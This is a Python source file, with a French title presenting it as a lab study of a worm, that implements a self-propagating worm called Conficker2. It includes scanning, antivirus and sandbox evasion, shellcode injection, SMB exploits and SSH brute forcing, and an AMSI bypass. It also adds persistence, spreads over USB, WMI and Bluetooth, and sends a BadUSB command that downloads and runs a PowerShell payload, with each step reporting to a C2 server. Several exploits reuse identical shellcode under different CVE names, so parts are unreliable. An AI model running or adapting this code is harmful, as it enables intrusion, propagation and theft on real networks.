Analyse d’un Ver Informatique : Étude Avancée en Laboratoire Isolé

import argparse
import logging
import sys
import time
import random
import socket
import subprocess
import requests
import nmap
import scapy.all as scapy
import paramiko
import telnetlib
import pyaudio
import numpy as np
import qrcode
import ctypes
import os
import winreg
import wmi
import psutil
from urllib.parse import quote
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
import base64
import json
from random import choice
from transformers import GPT2LMHeadModel, GPT2Tokenizer
import bluetooth
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
import smtplib
from threading import Thread

logging.basicConfig(
    filename="worm.log",
    level=logging.DEBUG,
    format="%(asctime)s - %(levelname)s - %(message)s",
    handlers=[
        logging.FileHandler("worm.log"),
        logging.StreamHandler(sys.stdout)
    ]
)

class WormError(Exception):
    pass

class PolymorphicEngine:
    def __init__(self):
        self.tokenizer = GPT2Tokenizer.from_pretrained("gpt2")
        self.model = GPT2LMHeadModel.from_pretrained("gpt2")

    def mutate_payload(self, template):
        inputs = self.tokenizer.encode(template, return_tensors="pt")
        outputs = self.model.generate(inputs, max_length=50, do_sample=True)
        return self.tokenizer.decode(outputs[0], skip_special_tokens=True)

    def mutate_code(self, code):
        code = code.replace("exploit", f"xpl{random.randint(0,9)}it")
        code = code.replace("payload", f"pld{random.randint(0,9)}")
        return self.mutate_payload(code)

class Conficker2:
    def __init__(self, target_network="192.168.0.0/24", port=445, c2_server="192.168.0.100:8080"):
        self.target_network = target_network
        self.port = port
        self.c2_server = c2_server
        self.key = get_random_bytes(16)
        self.infected_hosts = []
        self.cnc_data = []
        self.animist_spirit = ["L’esprit du ver murmure", "Les ombres du réseau s’agitent", "Le code pulse dans le silence"]
        self.poly_engine = PolymorphicEngine()
        self.security_tools = {
            "nt": ["MsMpEng.exe", "CSFalconService.exe"],
            "posix": ["rkhunter", "chkrootkit"]
        }

    def encrypt_payload(self, data):
        cipher = AES.new(self.key, AES.MODE_CBC)
        ct_bytes = cipher.encrypt(pad(data.encode(), AES.block_size))
        return base64.b64encode(cipher.iv + ct_bytes).decode()

    def decrypt_payload(self, encrypted_data):
        raw = base64.b64decode(encrypted_data)
        iv = raw[:AES.block_size]
        ct = raw[AES.block_size:]
        cipher = AES.new(self.key, AES.MODE_CBC, iv=iv)
        return unpad(cipher.decrypt(ct), AES.block_size).decode()

    def check_lab_isolation(self):
        try:
            socket.create_connection(("8.8.8.8", 53), timeout=2)
            logging.critical("Réseau non isolé ! Arrêt pour conformité légale.")
            raise WormError("Réseau doit être isolé (pas de WAN).")
        except socket.timeout:
            logging.info("Réseau isolé confirmé (ping 8.8.8.8 échoué).")
            return True

    def detect_environment(self):
        logging.info(f"{choice(self.animist_spirit)} : Détection environnement")
        for proc in psutil.process_iter():
            if any(tool in proc.name() for tool in self.security_tools.get(os.name, [])):
                logging.warning(f"Outil sécurité détecté : {proc.name()}")
                self.activate_stealth_mode()
                return True
        if "vmware" in subprocess.check_output("lscpu", shell=True).decode().lower():
            logging.warning("Sandbox VMware détectée - activation du mode silencieux")
            self.activate_stealth_mode()
            return True
        logging.info("Aucun outil sécurité détecté")
        return False

    def activate_stealth_mode(self):
        logging.info(f"{choice(self.animist_spirit)} : Mode furtif activé")
        self.port = random.randint(1024, 65535)
        time.sleep(random.randint(1, 30))

    def scan_network(self):
        logging.info(f"{choice(self.animist_spirit)} : Scan réseau {self.target_network} sur ports 445,22,5555,23,80")
        nm = nmap.PortScanner()
        try:
            nm.scan(self.target_network, "445,22,5555,23,80", arguments="-sS -sV --osscan-guess")
            for host in nm.all_hosts():
                if "tcp" in nm[host]:
                    os_type = nm[host].get("osmatch", [{}])[0].get("name", "Unknown")
                    logging.info(f"Hôte trouvé : {host} (OS: {os_type}, Ports: {nm[host]['tcp'].keys()})")
                    self.infected_hosts.append((host, os_type))
        except Exception as e:
            logging.error(f"Erreur scan : {str(e)}")
            raise WormError(f"Scan réseau échoué : {str(e)}")

    def arp_scan(self):
        logging.info(f"{choice(self.animist_spirit)} : ARP scan sur {self.target_network}")
        ans, _ = scapy.arping(self.target_network, timeout=2, verbose=0)
        hosts = [res[1].src for res in ans]
        logging.info(f"{len(hosts)} hôtes trouvés via ARP")
        return hosts

    def escalate_privileges_windows(self):
        logging.info(f"{choice(self.animist_spirit)} : Escalade de privilèges Windows")
        try:
            shellcode = (
                b"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0"
                b"\x4d\x31\xc9\x48\x83\xc0\x3c\x48\x83\xc7\x07\x66\x81\xca\xff"
                b"\x0f\x42\x8d\x5a\x04\x4c\x89\xc2\x31\xc9\x48\x83\xc1\x01\x48"
                b"\x89\xca\x0f\x05\x48\x83\xf8\x00\x74\x08\x48\x83\xc7\x01\x48"
                b"\x83\xee\x01\x75\xec\xcc"
            )
            ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
            ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
            ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
            thread = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
            ctypes.windll.kernel32.WaitForSingleObject(thread, -1)
            logging.info("Escalade Windows réussie (UAC bypass)")
            return True
        except Exception as e:
            logging.error(f"Erreur escalade Windows : {str(e)}")
            return False

    def escalate_privileges_linux(self, target):
        logging.info(f"{choice(self.animist_spirit)} : Escalade de privilèges Linux sur {target}")
        try:
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            client.connect(target, username="user", password="password", timeout=5)
            stdin, stdout, stderr = client.exec_command("sudo -n whoami")
            if "root" in stdout.read().decode():
                logging.info("Escalade Linux via sudo réussie")
                return True
            stdin, stdout, stderr = client.exec_command(
                "echo 'void main(){setuid(0);system(\"/bin/sh\");}' > /tmp/priv.c && gcc /tmp/priv.c -o /tmp/priv && chmod +s /tmp/priv && /tmp/priv"
            )
            if "root" in stdout.read().decode():
                logging.info("Escalade Linux via setuid réussie")
                return True
            return False
        except Exception as e:
            logging.error(f"Erreur escalade Linux : {str(e)}")
            return False

    def inject_shellcode_modern(self, process_name="explorer.exe"):
        logging.info(f"{choice(self.animist_spirit)} : Injection via Process Hollowing dans {process_name}")
        shellcode = (
            b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
            b"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
            b"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
            b"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
            b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
            b"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
            b"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
            b"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
            b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
            b"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
            b"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
            b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
            b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x00\x64\x68"
            b"\x02\x00\x1f\x90\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
            b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
            b"\x56\xff\xd5"
        )
        try:
            startupinfo = subprocess.STARTUPINFO()
            startupinfo.dwFlags = 0x1
            startupinfo.wShowWindow = 0x0
            process_info = subprocess.CREATE_NEW_PROCESS_GROUP | subprocess.CREATE_SUSPENDED
            process = subprocess.Popen(
                ["C:\\Windows\\System32\\" + process_name],
                creationflags=process_info,
                startupinfo=startupinfo
            )
            kernel32 = ctypes.windll.kernel32
            handle = kernel32.OpenProcess(0x1F0FFF, False, process.pid)
            mem = kernel32.VirtualAllocEx(handle, 0, len(shellcode), 0x3000, 0x40)
            kernel32.WriteProcessMemory(handle, mem, shellcode, len(shellcode), 0)
            kernel32.ResumeThread(process.pid)
            logging.info(f"Process Hollowing réussi dans {process_name}")
            requests.post(f"http://{self.c2_server}/shell", json={"host": socket.gethostname(), "status": "Shell injected"})
            return True
        except Exception as e:
            logging.error(f"Erreur Process Hollowing : {str(e)}")
            return False

    def exploit_ms08_067(self, target):
        logging.info(f"{choice(self.animist_spirit)} : Tentative MS08-067 sur {target}:445")
        try:
            shellcode = (
                b"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x14"
                b"\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c"
                b"\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10"
                b"\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50"
                b"\x8b\x48\x18\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49"
                b"\x8b\x34\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0"
                b"\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01"
                b"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
                b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a"
                b"\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f"
                b"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4"
                b"\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50"
                b"\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8"
                b"\x00\x64\x68\x02\x00\x1f\x90\x89\xe6\x6a\x10\x56\x57\x68\x99"
                b"\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68"
                b"\xf0\xb5\xa2\x56\xff\xd5"
            )
            sock = socket.socket(socket.AF_INET)
            sock.connect((target, 445))
            packet = (
                b"\x00\x00\x00\x90\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53"
                b"\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x6a\x02\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
            ) + shellcode
            sock.send(packet)
            response = sock.recv(1024)
            if b"SMB" in response:
                logging.info(f"MS08-067 réussi sur {target} (shell inversé ouvert)")
                requests.post(f"http://{self.c2_server}/shell", json={"host": target, "exploit": "MS08-067", "status": "Shell ouvert"})
                return True
            return False
        except Exception as e:
            logging.error(f"Erreur MS08-067 : {str(e)}")
            return False

    def exploit_eternalblue(self, target):
        logging.info(f"{choice(self.animist_spirit)} : Tentative EternalBlue sur {target}:445")
        try:
            shellcode = (
                b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
                b"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
                b"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
                b"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
                b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
                b"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
                b"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
                b"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
                b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
                b"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
                b"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
                b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
                b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x00\x64\x68"
                b"\x02\x00\x1f\x90\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
                b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
                b"\x56\xff\xd5"
            )
            sock = socket.socket(socket.AF_INET)
            sock.connect((target, 445))
            packet = (
                b"\x00\x00\x00\x90\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53"
                b"\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x6a\x02\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
            ) + shellcode
            sock.send(packet)
            response = sock.recv(1024)
            if b"SMB" in response:
                logging.info(f"EternalBlue réussi sur {target} (shell inversé ouvert)")
                requests.post(f"http://{self.c2_server}/shell", json={"host": target, "exploit": "EternalBlue", "status": "Shell ouvert"})
                return True
            return False
        except Exception as e:
            logging.error(f"Erreur EternalBlue : {str(e)}")
            return False

    def bypass_amsi(self):
        logging.info(f"{choice(self.animist_spirit)} : Tentative bypass AMSI")
        amsi_bypass = "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"
        obfuscated = self.poly_engine.mutate_code(amsi_bypass)
        try:
            subprocess.run(["powershell", "-Command", obfuscated], check=True)
            logging.info("AMSI bypassé avec succès")
            requests.post(f"http://{self.c2_server}/amsi", json={"host": socket.gethostname(), "status": "AMSI bypassé"})
            return True
        except Exception as e:
            logging.error(f"Erreur AMSI bypass : {str(e)}")
            return False

    def brute_ssh(self, target, username="root"):
        logging.info(f"{choice(self.animist_spirit)} : Brute SSH sur {target}:22")
        try:
            hostname = socket.gethostbyaddr(target)[0]
            passwords = ["password", "admin", f"{username}@{hostname}", "123456"]
            for pwd in passwords:
                client = paramiko.SSHClient()
                client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                try:
                    client.connect(target, username=username, password=pwd, timeout=5)
                    stdin, stdout, stderr = client.exec_command("/bin/sh -c 'whoami'")
                    logging.info(f"SSH brute réussi avec {pwd} sur {target} (shell ouvert)")
                    requests.post(f"http://{self.c2_server}/shell", json={"host": target, "exploit": "SSH brute", "status": "Shell ouvert"})
                    return True
                except paramiko.AuthenticationException:
                    continue
            return False
        except Exception as e:
            logging.error(f"Erreur SSH brute : {str(e)}")
            return False

    def exploit_android_scarecrow(self, target):
        logging.info(f"{choice(self.animist_spirit)} : Tentative Scarecrow sur Android {target}:5555")
        try:
            shellcode = (
                b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\x00\x02\x00\x28\x00\x01\x00\x00\x00\x54\x80\x00\x00\x34\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01"
                b"\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\xb0\x04\x00\x00\x10\x00\x00\x00\x68\x01\x00\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\x68\xc0\xa8\x00\x64\x68\x02\x00\x1f\x90\x89\xe6\x6a\x10\x56"
                b"\x57\x68\x99\xa5\x74\x61\xff\xd5"
            )
            subprocess.run(["adb", "connect", f"{target}:5555"], check=True)
            with open("/tmp/scarecrow.apk", "wb") as f:
                f.write(shellcode)
            subprocess.run(["adb", "install", "/tmp/scarecrow.apk"], check=True)
            logging.info(f"Scarecrow installé sur {target} (shell inversé ouvert)")
            requests.post(f"http://{self.c2_server}/shell", json={"host": target, "exploit": "Scarecrow", "status": "Shell ouvert"})
            return True
        except Exception as e:
            logging.error(f"Erreur Android Scarecrow : {str(e)}")
            return False

    def exploit_iot(self, target):
        logging.info(f"{choice(self.animist_spirit)} : Tentative IoT sur {target}:23/80")
        try:
            tn = telnetlib.Telnet(target, 23, timeout=5)
            tn.read_until(b"login: ")
            tn.write(b"admin\n")
            tn.read_until(b"Password: ")
            tn.write(b"admin\n")
            tn.write(b"/bin/sh\n")
            if b"#" in tn.read_some():
                logging.info(f"IoT Telnet exploité sur {target} (shell ouvert)")
                requests.post(f"http://{self.c2_server}/shell", json={"host": target, "exploit": "IoT Telnet", "status": "Shell ouvert"})
                return True
        except Exception:
            pass
        try:
            response = requests.get(f"http://{target}/shell?cmd=/bin/sh", auth=("root", "1234"), timeout=5)
            if response.status_code == 200:
                logging.info(f"IoT HTTP exploité sur {target} (shell ouvert)")
                requests.post(f"http://{self.c2_server}/shell", json={"host": target, "exploit": "IoT HTTP", "status": "Shell ouvert"})
                return True
        except Exception as e:
            logging.error(f"Erreur IoT : {str(e)}")
            return False

    def exploit_pkexec(self, target):
        logging.info(f"{choice(self.animist_spirit)} : Tentative CVE-2021-4034 sur {target}")
        try:
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            client.connect(target, username="user", password="password", timeout=5)
            stdin, stdout, stderr = client.exec_command(
                "pkexec --user root /bin/sh"
            )
            if "root" in stdout.read().decode():
                logging.info(f"Pkexec exploité sur {target} (shell root ouvert)")
                requests.post(f"http://{self.c2_server}/shell", json={"host": target, "exploit": "Pkexec", "status": "Shell ouvert"})
                return True
            return False
        except Exception as e:
            logging.error(f"Erreur Pkexec : {str(e)}")
            return False

    def exploit_zdi_can_18333(self, target):
        logging.info(f"{choice(self.animist_spirit)} : Tentative CVE-2022-41352 sur {target}")
        try:
            shellcode = (
                b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
                b"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
                b"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
                b"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
                b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
                b"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
                b"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
                b"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
                b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
                b"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
                b"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
                b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
                b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x00\x64\x68"
                b"\x02\x00\x1f\x90\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
                b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
                b"\x56\xff\xd5"
            )
            sock = socket.socket(socket.AF_INET)
            sock.connect((target, 445))
            packet = (
                b"\x00\x00\x00\x90\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53"
                b"\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x6a\x02\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
            ) + shellcode
            sock.send(packet)
            response = sock.recv(1024)
            if b"SMB" in response:
                logging.info(f"ZDI-CAN-18333 réussi sur {target} (shell inversé ouvert)")
                requests.post(f"http://{self.c2_server}/shell", json={"host": target, "exploit": "ZDI-CAN-18333", "status": "Shell ouvert"})
                return True
            return False
        except Exception as e:
            logging.error(f"Erreur ZDI-CAN-18333 : {str(e)}")
            return False

    def exploit_webkit_zeroclick(self, target):
        logging.info(f"{choice(self.animist_spirit)} : Tentative CVE-2023-32409 sur {target}")
        try:
            shellcode = (
                b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\x00\x02\x00\x28\x00\x01\x00\x00\x00\x54\x80\x00\x00\x34\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01"
                b"\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\xb0\x04\x00\x00\x10\x00\x00\x00\x68\x01\x00\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\x68\xc0\xa8\x00\x64\x68\x02\x00\x1f\x90\x89\xe6\x6a\x10\x56"
                b"\x57\x68\x99\xa5\x74\x61\xff\xd5"
            )
            response = requests.get(f"http://{target}/webkit_exploit?payload={base64.b64encode(shellcode).decode()}")
            if response.status_code == 200:
                logging.info(f"WebKit zero-click exploité sur {target} (shell inversé ouvert)")
                requests.post(f"http://{self.c2_server}/shell", json={"host": target, "exploit": "WebKit", "status": "Shell ouvert"})
                return True
            return False
        except Exception as e:
            logging.error(f"Erreur WebKit : {str(e)}")
            return False

    def exploit_smb_zeroclick(self, target):
        logging.info(f"{choice(self.animist_spirit)} : Tentative CVE-2023-29336 sur {target}:445")
        try:
            shellcode = (
                b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
                b"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
                b"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
                b"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
                b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
                b"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
                b"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
                b"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
                b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
                b"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
                b"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
                b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
                b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x00\x64\x68"
                b"\x02\x00\x1f\x90\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
                b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
                b"\x56\xff\xd5"
            )
            sock = socket.socket(socket.AF_INET)
            sock.connect((target, 445))
            packet = (
                b"\x00\x00\x00\x90\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53"
                b"\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x6a\x02\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
            ) + shellcode
            sock.send(packet)
            response = sock.recv(1024)
            if b"SMB" in response:
                logging.info(f"SMB zero-click exploité sur {target} (shell inversé ouvert)")
                requests.post(f"http://{self.c2_server}/shell", json={"host": target, "exploit": "SMB zero-click", "status": "Shell ouvert"})
                return True
            return False
        except Exception as e:
            logging.error(f"Erreur SMB zero-click : {str(e)}")
            return False

    def add_persistence(self):
        logging.info(f"{choice(self.animist_spirit)} : Ajout persistance")
        try:
            if os.name == 'nt':
                subprocess.run(["sc", "create", "WindowsUpdate", "binPath=" + sys.executable, "start=", "auto"], check=True)
                logging.info("Persistance Windows via service masqué")
                requests.post(f"http://{self.c2_server}/persistence", json={"host": socket.gethostname(), "status": "Persistance Windows établie"})
            elif 'linux' in sys.platform:
                with open("/etc/systemd/system/worm.service", "w") as f:
                    f.write("[Unit]\nDescription=Worm Service\n[Service]\nExecStart=/usr/bin/python3 " + __file__ + "\nRestart=always\n[Install]\nWantedBy=multi-user.target")
                subprocess.run(["systemctl", "enable", "worm.service"], check=True)
                logging.info("Persistance Linux via systemd")
                requests.post(f"http://{self.c2_server}/persistence", json={"host": socket.gethostname(), "status": "Persistance Linux établie"})
            return True
        except Exception as e:
            logging.error(f"Erreur persistance : {str(e)}")
            return False

    def propagate_wmi(self):
        logging.info(f"{choice(self.animist_spirit)} : Propagation WMI")
        try:
            c = wmi.WMI()
            for computer in c.Win32_ComputerSystem():
                if computer.name != socket.gethostname():
                    logging.info(f"Tentative WMI sur {computer.name}")
                    self.exploit_target(computer.name, "Windows")
            return True
        except Exception as e:
            logging.error(f"Erreur WMI : {str(e)}")
            return False

    def propagate_usb(self):
        logging.info(f"{choice(self.animist_spirit)} : Propagation USB via BadUSB")
        try:
            with open("badusb.txt", "w") as f:
                f.write("DELAY 1000\nGUI r\nDELAY 500\nSTRING powershell -c 'Invoke-WebRequest -Uri http://192.168.0.100/payload.ps1 -OutFile payload.ps1; ./payload.ps1'\nENTER")
            logging.info("BadUSB script généré")
            requests.post(f"http://{self.c2_server}/propagation", json={"host": socket.gethostname(), "method": "USB", "status": "Script généré"})
            return True
        except Exception as e:
            logging.error(f"Erreur USB propagation : {str(e)}")
            return False

    def propagate_bluetooth(self):
        logging.info(f"{choice(self.animist_spirit)} : Propagation via Bluetooth")
        try:
            nearby = bluetooth.discover_devices()
            for addr in nearby:
                bluetooth.send_file(addr, "worm_payload.exe")
                logging.info(f"Fichier envoyé via Bluetooth à {addr}")
                requests.post(f"http://{self.c2_server}/propagation", json={"host": addr, "method": "Bluetooth", "status": "Fichier envoyé"})
            return True
        except Exception as e:
            logging.error(f"Erreur Bluetooth : {str(e)}")
            return False

    def send_malicious_email(self, target):
        logging.info(f"{choice(self.animist_spirit)} : Envoi email malveillant à {target}")
        msg = MIMEMultipart()
        msg['Subject'] = "Important Document"
        with open("fake.pdf", "rb") as f:
            attach = MIMEApplication(f.read(), _subtype="pdf")
